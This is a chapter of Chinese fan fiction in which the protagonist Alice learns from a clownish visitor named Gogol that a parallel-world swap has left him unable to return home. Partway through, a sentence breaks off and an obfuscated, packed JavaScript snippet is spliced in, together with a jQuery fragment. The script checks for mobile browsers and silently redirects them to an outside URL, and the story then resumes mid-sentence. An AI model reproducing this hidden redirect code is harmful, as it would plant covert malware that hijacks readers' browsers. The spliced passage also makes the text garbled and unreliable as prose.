在问题解决前,那抹焦虑与烦躁潜藏在耐心平静的外表下,永远也不会消散。
艾利斯一如既往地会抽出半个小时跟那个像是文职一样的管理人员聊天,直到后者前几天再次因为突发性事件被绊住了脚步,不得不向他表示歉意,说明自己要先去调查一下这周发生的连环杀人案。
对于现在的艾利斯而言,不用跟人聊天反而是一件好事,毕竟他也不清楚自己是否能一直维持平静的表象。
艾利斯坐在床边,床上摆了一大簇雏菊。
这是他最近从那些爱情文学书籍中学到的一种占卜方式,每当那些书中主角遇见摇摆不定的问题时,大部分都会用摘花瓣的方式来占卜答案。
但艾利斯在拿起雏菊的那一刻,才发觉严格来说这并不能算是一种占卜方式,也没有必要重复繁琐的数花瓣流程。
雏菊的花瓣只有一圈,看上去简洁明了,只要根据花瓣的数量更改念出不同答案的顺序,就能够得到心中最想要得到的结果。
既然如此,那为什么书中那些主角还要做这种无用功呢?
盲目的自我安慰吗?
艾利斯不理解,也许这其中有什么他没能察觉的特殊用意,因此他依旧按照流程那样开始一边揪花瓣,一边学着那些主角重复最终能够得到的两种结果。
“能回去,不能回去,能回去,不能……”
一片片洁白的花瓣顺应重力飘落,与仅剩黄色花蕊的茎秆在地上相互交错,呈现出几分残败与凋零之美。
身侧的那一大簇雏菊不断衰减,他得到的答案也在依照数量更换的顺序下全部变成了“能回去”。
但是真的还能回去吗?
艾利斯指尖轻轻扯下手中最后一朵雏菊中粘连在花蕊上的最后一片花瓣,在这片脆弱单薄的花瓣摇摇晃晃坠地前,一支雪白的玫瑰恰到好处地衔接出现在视野中。
握着白玫瑰的是一只带着暗红色丝绒质感手套的手,艾利斯眼眸微抬,顺着那只手看向了那个几分钟前凭空出现在这处房间中的男人。
后者身上的衣物像是魔术师礼服与小丑服相互掺杂的无序之作,下半身是极具小丑风格的翘头鞋与黑白条纹小丑裤,上半身是具有魔术师特色的雪白内衬配黑白马甲,一侧肩头还披了一件纯白斗篷,一头银色长发编织成麻花辫垂落在身前,一顶黑白礼帽压住了那些乱翘的发丝。
那张看起来与那个像是文职一样的管理人员不是同个地域人种的脸上挂着夸张的笑容,从那只没有被面具遮住的银紫色眼眸中可以看见毫不掩饰的好奇与打量。
艾利斯的目光在对方遮住一只眼睛的面具与剩余那只眼睛上的伤痕停留了片刻,有些不明白为什么对方用面具遮眼睛不遮那只有伤的。
这个问题没有在脑海里停留太久,他顺手接过对方手中的白玫瑰,他认得这种花——在爱情文学里,这种花经常会以不同颜色出现。
艾利斯明白了,“你想跟我成为情侣?”
这个问题问出来,艾利斯直观地看见眼前银发男人脸上的笑容僵硬了一瞬,紧接着后者爆发出充满欢快的笑声。
“哈——哈哈哈哈哈——!你怎么会这么认为呢——?让我猜猜,是因为那些爱情书籍里经常会出现这种花吗?”
那名银发男人像是很了解他,轻而易举猜到了缘由。
艾利斯安静地看着对方,听后者继续说道。
“那么那么!初次见面,我的名字是果戈里——!而这支白玫瑰其实是我在好友的建议下给你带的见面礼,他说——如果我一定要在见你时带点什么,可以选择一支白玫瑰~!”
说到这里,果戈里自顾自地点头,“现在看来,他的提议果然很有道理,玫瑰的花瓣比雏菊的多多了,可以让你最终得到的答案增添几分未知。”
艾利斯视线扫过对方手中的玫瑰,层层叠叠的花瓣包裹住了花蕊,仿佛一眼看不到尽头。
听了对方这个理由,他忽然开始觉得自己也许真应该拿玫瑰,而不是雏菊。
“你说的有道理。”艾利斯赞同地点头,转而问出了自己的疑惑,“所以为什么那些主角不拿花瓣多一点的花瓣呢?是因为更喜欢已知的命运?”
这个问题似乎也难住了眼前的银发男人,后者露出苦恼的表情,“应该是这样?欸——可是如果命运已知的话,不就会显得自己像是被命运困住了一样吗?比如说怎么数都是既定的答案——!”
话音落下没多久,对方又像是突然想起了正事,收起苦恼的神色,取而代之的是忽然兴奋起来的音调。
“当然当然,会将见面礼选择白玫瑰也不仅仅是因为这个,那么——!提问——为什么会选择白玫瑰呢——?!”
艾利斯微微歪头,顺应对方的问题询问:“为什么?”
“提示——!白玫瑰的花语有新生的意思!所以可以理解为——恭喜你的新生!”
似乎是为了附和这句话,果戈里恰到好处地开始鼓掌的同时,不忘煞有介事地补充。
“顺带一提,这份礼物也可以算是我替他送给你的,毕竟我来见你是出自于他的授意,所以是我们一同在恭喜你的新生,怎么样?有没有感觉更加热闹一些~?!”
艾利斯重复了对方话语中令他十分在意的词汇,“‘新生’?”
“哎呀,原来你不知道吗?”果戈里摆出一副十分惊讶的模样,“无论是一个星期,还是最长的一个月,你都没能结束这场互换,你还没从中意识到什么吗?”
“意识到什么?”艾利斯听见自己平静地询问。
果戈里没有立即回答,他眼眸微眯,打量着坐在床边自始至终都十分平静的红发青年,后者既没有因为他突然到来而惊讶,也没有在被戳破这个噩耗时而感到惊愕,平静到了堪称异常的地步。
他在拿出礼物时,对方的询问并非是动情的冲动,更像是看见太多案例的条件反射,不理解其中的含义,只会模仿表象。
而现在的询问也更是佐证了这一点——像是某种怪物进攻前的伪装,仿佛只要他说出那个具体答案就会发生什么不好的事情。
果戈里有点理解为什么窃取到的艾利斯观察记录里会写着——“有时会觉得像是在面对伪装人类的不可知之物”了。
但——
也正是因为这样才有趣,如同观众永远不知道舞台上正在表演的魔术师下一秒会做什么一样。
他的嗓音重新恢复欢快,语调拖拽着拉长,说出了那个充斥不稳定与危险的“咒语”。
“当然是意识到,你已经回不去的这件事——”
艾利斯缓慢地眨了一下眼睛,心底一直以来的焦躁与不祥预感终究伴随着答案落地,脑海中盘旋的诸多疑问在声带的震动间不断吐露。
“可是为什么呢?不是他主动要跟我互换的吗?为什么会换不回去?他真的看上了我的工作?”
这一刻,艾利斯甚至有些分不清现在究竟是他自己在因为这个答案而不可置信,还是在模仿那些爱情文学里主角得到难以置信的答案时应有的举动。
“哈哈,其实我在看见你资料与记录的时候也是这样的想法,但是,但是——!只要浏览过他的个人信息、了解过他的为人,就能意识到——比起他看上你工作的可能,他被未能处理的意外杀死的可能性更大。”
果戈里摆出了一副认真思考的样子,“你看,他的异能是‘在遭遇生命危险时,与能够解决本次危险的平行世界的自己互换’,如果他每一次遇见生命危险都由平行世界的自己摆平,那他也完全没有努力提升自己的必要了嘛——反正平行世界的自己会帮助他的~!”
艾利斯逐渐意识到,他可能一直以来都误解了什么。
他一直认为这个世界的自己既然能够跟平行世界的自己互换,又能在另一个能够帮“他”解决这次生命危险的“自己”所处的世界生存一定时间,自身肯定有一定实力。
但他却忽略了世界之间的不同。
也许并不是所有世界都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424220|200856||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像是他所处的世界一样,每时、每刻、每个角落、每次呼吸间都充斥着危险,没有任何喘息的余地。可能其他世界危险不是每时每刻都在发生的、是容许安心休息的,又或者互换的那个平行世界的自己的地位足够高,足够支撑这个世界的自己安然度过这些时间。
无论哪一种可能,这个世界的自己都能够安然无恙地结束互换,因为这个世界的自己是需要帮助的那一方,是在危险下主动发起需要帮助的一方。
而他的情况不同,他是这个世界的自己在无生命危险情况下,为了逃脱这个困境,被迫扭转异能去帮助的一方。
再加上,他曾从那个像是文职一样的管理人员口中得知——异能有失控的可能。
“所以……这个世界的我,逆转异能可能并不是出于对异能了如指掌的精通与熟练,也并没有为我解决难题的能力,而是他为了重获自由的病急乱投医。”
正如他之前跟那个像是文职一样的管理人员提到过的——如果这个世界的自己实力不够强大,哪怕他所处的公司能够回溯时间,也不会为了阻止一个没有多少价值的弱小员工死亡,而牺牲那一天收集到的所有能源。
退一步说,即使公司出于某种目的回溯了时间,也没办法复活这个世界的自己,因为后者并不存在于过去的时间线。
而存在于过去时间线的他,又不在进行回溯时间那一刻,因此也没办法改变他已经来到这个世界无法回去的事实。
无论何种发展,这个世界的自己彻底死亡都是必然的结果,同时对方的死亡,也杜绝了他回去的可能。
艾利斯眼睫微垂,静静注视着铺成一地的雏菊花瓣。
那个自称是果戈里的男人似乎很为这个世界他这种举措而感动,在他耳边喋喋不休。
“没错,为了自由,他不惜冒着异能失控的风险去扭转异能,甚至敢于尝试面对自己从来没有面对过的绝境!多么令人动容的,对自由的绝对向往——!”
果戈里装模作样擦了擦眼角,好似才注意到艾利斯异常的沉默,摆出一副十分疑惑的样子问。
“提问——!你好像并不为此感到开心?为什么呢——?!你现在已经从那无尽的轮回中解放了,彻底逃离了那个满是危险的绝望世界。如果你想,甚至可以捡起以前的梦想——‘买一份旅游套餐享受一下,攒到足够的钱搬到更好的地方生活’,这个梦想现在对你来说触手可得,所以你为什么反而露出了一副失落的样子呢——?!”
“哈……”
艾利斯把脸埋进了手中,低低笑了一声。
当然,当然。
如果是以前的他,他当然会高兴的不得了,他曾无数次想过离开那家把任何东西都当“燃料”的公司,无数次想要过上不用警惕自己意识会在下一秒消亡的生活。
但是。
为什么是现在?
为什么是他跟这个异想体绑定的现在?为什么是不知道自己跟这个异想体究竟是何种情况的现在?为什么是不知道这个异想体何时会像记忆中撕破同事外皮来撕破自己的现在?!
他现在连自己有时的举动究竟是出于自己情绪性格,还是出于「一无所有」的模仿都分不清!
哪怕得到了一直梦寐以求的妄想,也仍旧被那份未知的危险所诅咒,宛如附骨之疽般阴魂不散!
“为什么呢?”
一声声没有指向的疑问似喃喃自语吐露。
“我也很想知道,这到底是为什么?”
“你说……”
红发青年低垂着的头从手中缓缓抬起,那双灰色的瞳仁泛着一点疯狂的猩红微光,让人想到本该是死寂荒芜的灰烬中重新燃起的星火。
果戈里看见对方一直没什么情绪波动的脸上浮现出了奇异的笑容,一道类似于布帛撕裂的漆黑痕迹在后者脸上随嘴角扬起的弧度一同攀爬。
视野里,那张淡色的唇一开一合,向他厉声诘问。
“为什么人类这么容易就会死啊?!”